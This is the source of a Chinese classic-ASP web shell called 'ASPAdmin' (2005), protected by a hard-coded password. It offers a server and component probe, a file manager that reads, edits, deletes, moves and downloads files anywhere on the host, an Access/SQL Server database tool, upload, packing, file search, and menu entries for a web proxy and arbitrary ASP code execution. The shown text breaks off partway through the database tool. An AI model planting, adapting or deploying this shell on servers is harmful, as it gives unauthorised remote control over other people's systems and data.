<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
	Option Explicit
	Response.Buffer = True

	Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
	Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
	theAct = GetPost("theAct")
	PageSize = 20 ''默认每页记录数
	isSqlServer = False
	rootPath = Server.MapPath("/")
	pageName = GetPost("PageName")
	url = Request.ServerVariables("URL") ''当前页的相对路径
	sPacketName = "Packet.mdb" ''文件包默认文件名
	thePath = Replace(getPost("thePath"), "\\", "\")
	sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
	accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"

	Const m = "ASPAdmin_A" ''Session标志
	Const isDebugMode = False 'False,True''是否调试模式
	Const maxPageCount = 600 ''查询时最多只列出N页的链接
	Const userPassword = "fuckingday" ''登录密码
	Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
	Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"

	Sub echo(str)
		Response.Write(str)
	End Sub

	Sub IsIn()
		If Session(m & "userPassword") <> userPassword Then
			echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
		End If
	End Sub

	Function IIf(var, val1, val2)
		If var = True Then
			IIf = val1
		 Else
			IIf = val2
		End If
	End Function

	Sub RedirectTo(url)
		Response.Redirect(url)
	End Sub

	Function GetPost(var)
		Dim val
		If Request.QueryString("PageName") = "PageUpload" Then
			pageName = "PageUpload"
			Exit Function
		End If
		val = RTrim(Request.Form(var))
		If val = "" Then
			val = RTrim(Request.QueryString(var))
		End If
		GetPost = val
	End Function

	Function HtmlEncode(str)
		If IsNull(str) Then Exit Function
		HtmlEncode = Server.HTMLEncode(str)
	End Function

	Function UrlEncode(str)
		If IsNull(str) Then Exit Function
		UrlEncode = Server.UrlEncode(str)
	End Function

	Sub ShowTitle(str)
		Response.Write "<title>" & str & " - 程序网络工作组ASPAdmin(物理路径版) V1.02</title>"
		Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
	End Sub

	Function GetTheSize(num)
		Dim i, arySize(4)
		arySize(0) = "B"
		arySize(1) = "KB"
		arySize(2) = "MB"
		arySize(3) = "GB"
		arySize(4) = "TB"
		While(num / 1024 >= 1)
			num = Fix(num / 1024 * 100) / 100
			i = i + 1
		WEnd
		GetTheSize = num & " " & arySize(i)
	End Function

	Sub ShowErr(str)
		Dim i, arrayStr
		str = Server.HtmlEncode(str)
		arrayStr = Split(str, "$$")

		echo "<font size=2>"
		echo "出错信息:<br/><br/>"
		For i = 0 To UBound(arrayStr)
			echo "&nbsp;&nbsp;" & (i + 1) & ". " & arrayStr(i) & "<br/>"
		Next
		echo "</font>"

		Response.End()
	End Sub

	Sub CreateFolder(thePath)
		Dim i
		i = InStr(Mid(thePath, 4), "\") + 3
		Do While i > 0
			If fso.FolderExists(Left(thePath, i)) = False Then
				fso.CreateFolder(Left(thePath, i - 1))
			End If
			If InStr(Mid(thePath, i + 1), "\") Then
				i = i + Instr(Mid(thePath, i + 1), "\")
			 Else
				i = 0
			End If
		Loop
	End Sub

	Sub AlertThenClose(str)
		If str = "" Then
			Response.Write "<script>window.close();</script>"
		 Else
			Response.Write "<script>alert(""" & str & """);window.close();</script>"
		End If
	End Sub

	Sub ChkErr(Err)
		If Err Then
			echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
			echo "<hr style='color:#d8d8f0;'/>&nbsp;By Marcos 2005.06</font>"
			Err.Clear
			Response.End
		End If
	End Sub

	Sub TopMenu()
		echo "<form method=post name=formp action=""" & url & """>"
		echo "<select name=PageName onchange=changePage(this)>"
		echo "<option value=''>请选择功能页面</option>"
		echo "<option value=PageCheck>服务器信息探针</option>"
		echo "<option value=PageFso>FSO文件浏览操作器</option>"
		echo "<option value=PageDBTool>数据库操作器</option>"
		echo "<option value=PagePack>文件夹打包/解开器</option>"
		echo "<option value=PageUpload>批量文件上传</option>"
		echo "<option value=PageSearch>文本文件搜索器</option>"
		echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
		echo "<option value=PageExecute>自定义ASP语句运行</option>"
		echo "<option value=PageOut>退出系统</option>"
		echo "</select>"
		echo "</form>"
		echo "<script lanuage=javascript>"
		echo "formp.PageName.value='" & pageName & "';"
		echo "function changePage(obj){"
		echo "	if(obj.value=='PageOut')"
		echo "		if(!confirm('确认要退出系统吗?'))return;"
		echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
		echo "	obj.form.submit();obj.form.target='';"
		echo "}"
		echo "</script>"
	End Sub

	Rem ++++++++++++++++++++++++++++++++++++
	Rem 		以下是页面选择部分
	Rem ++++++++++++++++++++++++++++++++++++

	PageOther()
	If pageName <> "" Then
		IsIn()
		TopMenu()
	End If

	Select Case pageName
		Case "PageSearch"
			PageSearch()
		Case "PageCheck"
			PageCheck()
		Case "PageFso"
			PageFso()
		Case "PageDBTool"
			PageDBTool()
		Case "PageUpload"
			PageUpload()
		Case "PagePack"
			PagePack()
		Case "PageExecute"
			PageExecute()
		Case "PageWebProxy"
			PageWebProxy()
		Case "", "PageOut"
			PageLogin()
	End Select

	Rem +++++++++++++++++++++++++++++++++++++
	Rem 		以下是各功能模块部分
	Rem +++++++++++++++++++++++++++++++++++++

	Sub PageSearch()
		Dim strKey, strPath
		strKey = GetPost("Key")
		Server.ScriptTimeout = 5000
		If thePath = "" Then thePath = rootPath

		ShowTitle("文本文件搜索器")

		SearchTable(strKey)

		If theAct <> "" And strKey <> "" Then
			SearchIt(strKey)
		End If
	End Sub

	Sub SearchTable(strKey)
		echo "<table width=750 border=1>"
		echo "<form method=post action='" & url & "'>"
		echo "<input type=hidden value=PageSearch name=PageName>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;路径</td>"
		echo "<td>&nbsp;<input name=thePath type=text id=thePath value='"
		echo HtmlEncode(thePath)
		echo "' style='width:360px;'>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;关键字</td>"
		echo "<td>&nbsp;<input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
		echo "<select name=theAct id=theAct>"
		echo "<option value=FileName selected>仅文件名</option>"
		echo "<option value=FileContent>仅文本内容</option>"
		echo "<option value=Both>两者都</option>"
		echo "</select>"
		echo " <input type=submit name=Submit value=提交> </td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"
	End Sub

	Sub SearchIt(key)
		Dim strPath, theFolder
		Response.Buffer = True
		strPath = thePath
		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		Set theFolder = fso.GetFolder(strPath)

		echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"

		Select Case theAct
			Case "Both"
				Call SearchFolder(theFolder, key, 1)
			Case "FileName"
				Call SearchFolder(theFolder, key, 2)
			Case "FileContent"
				Call SearchFolder(theFolder, key, 3)
		End Select

		echo "</div>"

		Set theFolder = Nothing
	End Sub

	Sub SearchFolder(folder, key, flag)
		Dim ext, title, theFile, theFolder

		For Each theFile In folder.Files
			ext = LCase(fso.GetExtensionName(theFile.Path))
			If flag = 1 Or flag = 2 Then
				If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
			End If
			If flag = 1 Or flag = 3 Then
				If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
					If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
				End If
			End If
		Next

		Response.Flush()

		For Each theFolder In folder.SubFolders
			Call SearchFolder(theFolder, key, flag)
		Next
	end sub

	Function SearchFile(f, s, title)
		Dim theFile, content, pos1, pos2
		If isDebugMode = False Then On Error Resume Next

		Set theFile = fso.OpenTextFile(f.Path)
		content = theFile.ReadAll()
		theFile.Close
		Set theFile = Nothing

		If Err Then
			Err.Clear
		End If

		SearchFile = InStr(1, content, s, 1)
		If SearchFile > 0 Then
			pos1 = InStr(1, content, "<TITLE>", 1)
			pos2 = InStr(1, content, "</TITLE>", 1)
			title = ""
			If pos1 > 0 And pos2 > 0 Then
				title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
			End If
		End If
	End Function

	Function FileLink(file, title)
		fileLink = file.Path
		If title = "" Then
			title = file.Name
		End If
		fileLink = "&nbsp;<font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
	End Function

	Sub PageCheck()
		ShowTitle("服务器信息探针")
		InfoCheck()
		If theAct <> "" Then
		GetAppOrSession(theAct)
		End If
		ObjCheck()
	End Sub

	Sub InfoCheck()
		Dim aryCheck(6)
		If isDebugMode = False Then On Error Resume Next

		aryCheck(0) = Server.ScriptTimeOut() & "(秒)"
		aryCheck(1) = FormatDateTime(Now(), 0)
		aryCheck(2) = Request.ServerVariables("SERVER_NAME")
		aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
		aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
		aryCheck(3) = Request.ServerVariables("OS")
		aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
		aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
		aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
		aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
		aryCheck(5) = aryCheck(5) & "&nbsp;Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
		aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
		aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
		aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId()

		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td width='20%'>&nbsp;项目</td>"
		echo "<td>&nbsp;值</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;默认超时</td>"
		echo "<td>&nbsp;"&aryCheck(0)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;当前时间</td>"
		echo "<td>&nbsp;"&aryCheck(1)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;服务器名</td>"
		echo "<td>&nbsp;"&aryCheck(2)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;软件环境</td>"
		echo "<td>&nbsp;"&aryCheck(3)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;站点目录</td>"
		echo "<td>&nbsp;"&aryCheck(4)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;当前路径</td>"
		echo "<td>&nbsp;"&aryCheck(5)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;其它</td>"
		echo "<td>&nbsp;"&aryCheck(6)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub ObjCheck()
		Dim aryObj(19)
		Dim x, objTmp, theObj, strObj
		If isDebugMode = False Then On Error Resume Next

		strObj = Trim(getPost("TheObj"))
		aryObj(0) = "MSWC.AdRotator|广告轮换组件"
		aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
		aryObj(2) = "MSWC.NextLink|内容链接库组件"
		aryObj(3) = "MSWC.Tools|"
		aryObj(4) = "MSWC.Status|"
		aryObj(5) = "MSWC.Counters|计数器组件"
		aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
		aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
		aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
		aryObj(9) = "Scripting.FileSystemObject|FSO组件"
		aryObj(10) = "Adodb.Stream|Stream 流组件"
		aryObj(11) = "Shell.Application|"
		aryObj(12) = "WScript.Shell|"
		aryObj(13) = "Wscript.Network|"
		aryObj(14) = "ADOX.Catalog|"
		aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
		aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
		aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
		aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
		aryObj(19) = strObj & "|您所要检测的组件"

		echo "<br/>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=3 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td>&nbsp;组件<font color=#666666>(描述)</font></td>"
		echo "<td width=10% align=center>支持</td>"
		echo "<td width=15% align=center>版本</td>"
		echo "</tr>"
		For Each x In aryObj
			theObj = Split(x, "|")
			If theObj(0) = "" Then Exit For
			Set objTmp = Server.CreateObject(theObj(0))
			If Err <> -2147221005 Then
				x = x & "|√|"
				x = x & objTmp.Version
			Else
				x = x & "|<font color=red>×</font>|"
			End If
			If Err Then Err.Clear
			Set objTmp = Nothing

			theObj = Split(x, "|")
			theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
			echo "<tr>"
			echo "<td>&nbsp;" & theObj(1) & "</td>"
			echo "<td align=center>" & theObj(2) & "</td>"
			echo "<td align=center>" & theObj(3) & "</td>"
			echo "</tr>"
		Next
		echo "<form method=post action='" & url & "'>"
		echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>"
		echo "<tr>"
		echo "<td colspan=3>&nbsp;其它组件检测:"
		echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>"
		echo "<input type=submit name=Submit value=提交></td>"
		echo "</tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=3 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=3 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub GetAppOrSession(theAct)
		Dim x, y
		If isDebugMode = False Then On Error Resume Next

		echo "<br/>"
		echo "<table width=750 border=1 class=fixTable>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td width='20%'>&nbsp;变量</td>"
		echo "<td>&nbsp;值</td>"
		echo "</tr>"
		If theAct = "app" Then
			For Each x In Application.Contents
				echo "<tr><td valign=top>"
				echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
				echo "</td><td style='padding-left:7px;'><span>"
				If IsArray(Application(x)) = True Then
					For Each y In Application(x)
						echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
					Next
				 Else
					echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
				End If
				echo "</span></td></tr>"
			Next
		End If
		If theAct = "session" Then
			For Each x In Session.Contents
				echo "<tr><td valign=top>"
				echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
				echo "</td><td style='padding-left:7px;'><span>"
				echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
				echo "</span></td></tr>"
			Next
		End If
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PageFso()
		ShowTitle("FSO文件浏览操作器")

		Select Case theAct
			Case "rename"
				RenOne()
			Case "download"
				DownTheFile()
				Response.End()
			Case "del"
				DelOne()
			Case "newone"
				NewOne()
			Case "saveas"
				SaveAs()
			Case "save"
				SaveToFile()
'				AlertThenClose("文件修改成功!")
				ShowEdit()
				Response.End()
			Case "showedit"
				ShowEdit()
				Response.End()
			Case "showimage"
				ShowImage()
				Response.End()
			Case "copy", "move"
				MoveCopyOne()
		End Select

		If theAct <> "" Then thePath = GetPost("truePath")

		FsoFileExplorer()
	End Sub

	Sub FsoFileExplorer()
		Dim objX, theFolder, folderId, extName, parentFolderName
		Dim strPath
		If isDebugMode = False Then On Error Resume Next
		If thePath = "" Then thePath = rootPath
		strPath = thePath

		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If

		Set theFolder = fso.GetFolder(strPath)
		parentFolderName = fso.GetParentFolderName(strPath) & "\"

		echo "<table width=750 border=1>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
		echo "</tr>"
		echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
		echo "<tr>"
		echo "<td colspan=2>&nbsp;"
		echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
		echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
		echo " <input type=button value='提交' onclick=Command('submit');>"
		echo " <input type=button value=上传 onclick=Command('upload')>"
		echo "</td>"
		echo "</tr>"
		echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
		echo "<tr><td valign=top>"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden name=param>"
		echo "<input type=hidden value=PageFso name=PageName>"
		echo "<table width='99%' align=center>"
		echo "<tr><td colspan=4 class=trHead>&nbsp;</td></tr><tr class=td><td>"

		If parentFolderName <> "\" Then
			folderId = Replace(parentFolderName, "\", "\\")
			echo "&nbsp;<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">↑回上级目录</a>"
		End If
		echo "</td><td align=center width=80>大小</td>"
		echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"

		For Each objX In theFolder.SubFolders
			folderId = Replace(objX.Path, "\", "\\")
			echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>■</font>"
			echo "<span class=fixSpan style='width:180;'>"
			echo "<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">"& objX.Name & "</a></span>"
			echo "</td>"
			echo "<td align=center>-</td>"
			echo "<td align=center>" & objX.DateLastModified & "</td><td>"
			echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
			echo "<input type=button onclick=""Command('rename',&#34;" & objX.Name & "&#34;);"" value='Ren' title=重命名>"
			echo "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',&#34;" & Replace(objX.Path, "\", "\\") & "&#34;)"">"
			echo "</td></tr>"
		Next
		For Each objX In theFolder.Files
			If Left(objX.Path, Len(rootPath)) <> rootPath Then
				folderId = ""
			 Else
				folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
			End If
			echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>□</font>"
			echo "<span class=fixSpan style='width:180;'>"
			If folderId = "" Then
				echo objX.Name
			 Else
				echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
			End If
			echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
			echo "<td align=center>" & objX.DateLastModified & "</td><td>"
			echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"

			extName = LCase(fso.GetExtensionName(objX.Path))
			If InStr(editableFileExt, "$" & extName & "$") > 0 Then
				echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',&#34;" & objX.Name & "&#34;);"">"
			End If
			If InStr(imageFileExt, "$" & extName & "$") > 0 Then
				echo "<input type=button value='View' title=查看图片 onclick=""Command('showimage',&#34;" & objX.Name & "&#34;);"">"
			End If
			If extName = "mdb" Then
				echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
			End If
			echo "<input type=button value='D' title=下载 onclick=""Command('download',&#34;" & objX.Name & "&#34;)"">"
			echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',&#34;" & objX.Name & "&#34;)"">"
			echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',&#34;" & Replace(objX.Path, "\", "\\") & "&#34;)"">"
			echo "</td></tr>"
		Next
		echo "<tr class=td><td colspan=3></td>"
		echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
		echo "<input type=button value='Delete' onclick=Command('del')>"
		echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
		echo "</td></tr></table>"
		echo "</td><td width='20%' valign=top align=center>"
		echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
		echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
		echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
		echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
		echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
		echo "</td></tr><tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"

		Set theFolder = Nothing
	End Sub

	Sub RenOne()
		Dim objX, strPath, aryParam, isFile, isFolder
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		strPath = GetPost("truePath") & "\"
		aryParam(0) = strPath & aryParam(0)
		isFile = fso.FileExists(aryParam(0))
		isFolder = fso.FolderExists(aryParam(0))

		If isFile = False And isFolder = False Then
			ShowErr("文件(夹)不存在或者不允许访问!")
		End If

		If isFile = False Then
			Set objX = fso.GetFolder(aryParam(0))
			objX.Name = aryParam(1)
		 Else
			Set objX = fso.GetFile(aryParam(0))
			objX.Name = aryParam(1)
		End If
		Set objX = Nothing

		ChkErr(Err)
	End Sub

	Sub DownTheFile()
		Response.Clear
		Dim stream, strPath, fileContentType
		If isDebugMode = False Then On Error Resume Next
		strPath = GetPost("truePath") & "\" & GetPost("param")

		Set stream = Server.CreateObject("adodb.stream")
		stream.Open
		stream.Type = 1
		stream.LoadFromFile(strPath)
		ChkErr(Err)
		Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
		Response.AddHeader "Content-Length", stream.Size
		Response.Charset = "UTF-8"
		Response.ContentType = "Application/Octet-Stream"
		Response.BinaryWrite stream.Read
		Response.Flush
		stream.Close
		Set stream = Nothing
	End Sub

	Sub DelOne()
		Dim objX, strPath
		If isDebugMode = False Then On Error Resume Next
		strPath = GetPost("truePath") & "\"
		For Each objX In Request.Form("checkBox")
			If fso.FolderExists(strPath & objX) = True Then
				Call fso.DeleteFolder(strPath & objX, True)
				ChkErr(Err)
			Else
				If fso.FileExists(strPath & objX) = True Then
					Call fso.DeleteFile(strPath & objX, True)
					ChkErr(Err)
				End If
			End If
		Next
	End Sub

	Sub MoveCopyOne()
		Dim objX, strPath, strMoveTo, strCopyTo
		If isDebugMode = False Then On Error Resume Next
		strMoveTo = GetPost("MoveTo")
		strCopyTo = GetPost("CopyTo")
		strPath = GetPost("truePath") & "\"
		If theAct = "move" Then
			strMoveTo = strMoveTo & "\"
		 Else
			strCopyTo = strCopyTo & "\"
		End If

		For Each objX In Request.Form("checkBox")
			If theAct = "move" Then
				If InStr(strMoveTo, strPath & objX) > 0 Then
					ShowErr("目标文件夹不能在源文件夹内")
				End If
				If fso.FileExists(strPath & objX) = True Then
					Call fso.MoveFile(strPath & objX, strMoveTo & objX)
				 Else
					Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
				End If
			 Else
				If InStr(strCopyTo, strPath & objX) > 0 Then
					ShowErr("目标文件夹不能在源文件夹内")
				End If
				If fso.FileExists(strPath & objX) = True Then
					Call fso.CopyFile(strPath & objX, strCopyTo & objX)
				 Else
					Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
				End If
			End If
			ChkErr(Err)
		Next
	End Sub

	Sub NewOne()
		Dim objX, strPath, aryParam
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		strPath = GetPost("truePath") & "\" & aryParam(0)

		If aryParam(1) = "file" Then
			Call fso.CreateTextFile(strPath, False)
		 Else
			fso.CreateFolder(strPath)
		End If
	End Sub

	Sub ShowEdit()
		Dim theFile, strPath
		If isDebugMode = False Then On Error Resume Next
		strPath = GetPost("truePath") & "\" & GetPost("param")
		If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
		Set theFile = fso.OpenTextFile(strPath, 1, False)
		ChkErr(Err)

		echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
		echo "<tr>"
		echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action=" & url & ">"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden value=PageFso name=PageName>"
		echo "<tr>"
		echo "<td height=22>&nbsp;<input name=truePath value=""" & strPath & """ style=width:500px;>"
		echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;<textarea name=fileContent style='width:735px;height:100%;'>"
		echo HtmlEncode(theFile.ReadAll())
		echo "</textarea></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
		echo "<input type=reset value=重置><input type=button onclick=window.close(); value=关闭>"
'		echo "<input type=button value=查看 title='在新窗口中打开该文件链接' onclick=preView('2');>"
		echo "<input type=button value=预览 onclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"

		Set theFile = Nothing
	End Sub

	Sub SaveToFile()
		Dim theFile, strPath, fileContent
		If isDebugMode = False Then On Error Resume Next
		fileContent = GetPost("fileContent")
		strPath = GetPost("truePath")

		Set theFile = fso.OpenTextFile(strPath, 2, True)
		theFile.Write fileContent
		theFile.Close
		ChkErr(Err)

		Set theFile = Nothing
	End Sub

	Sub SaveAs()
		Dim strPath, aryParam, isFile
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		aryParam(0) = aryParam(0)
		aryParam(1) = aryParam(1)
		isFile = fso.FileExists(aryParam(0))

		If isFile = True Then
			fso.CopyFile aryParam(0), aryParam(1), False
		 Else
			fso.CopyFolder aryParam(0), aryParam(1), False
		End If

		ChkErr(Err)
	End Sub

	Sub ShowImage()
		Dim stream, strPath, fileContentType
		If isDebugMode = False Then On Error Resume Next
		strPath = GetPost("truePath") & "\" & GetPost("param")

		Set stream = Server.CreateObject("adodb.stream")
		stream.Open
		stream.Type = 1
		stream.LoadFromFile(strPath)
		ChkErr(Err)
		Response.Clear
		Response.BinaryWrite stream.Read
		stream.Close

		Set stream = Nothing
	End Sub

	Sub PageDBTool()
		ShowTitle("Access + SQL Server 数据库操作")
		echo "<form method=post action=""" & url & """>"

		If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
			SqlShowEdit()
			echo "</form>"
			Response.End()
		End If

		ShowDBTool()

		Select Case theAct
			Case "Query"
				ShowQuery()
			Case "ShowTables"
				ShowTables()
		End Select

		echo "</form>"
	End Sub

	Sub ShowDBTool()
		echo "<table width=750>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden name=param>"
		echo "<tr>"
		echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td height=50 align=center>"
		echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
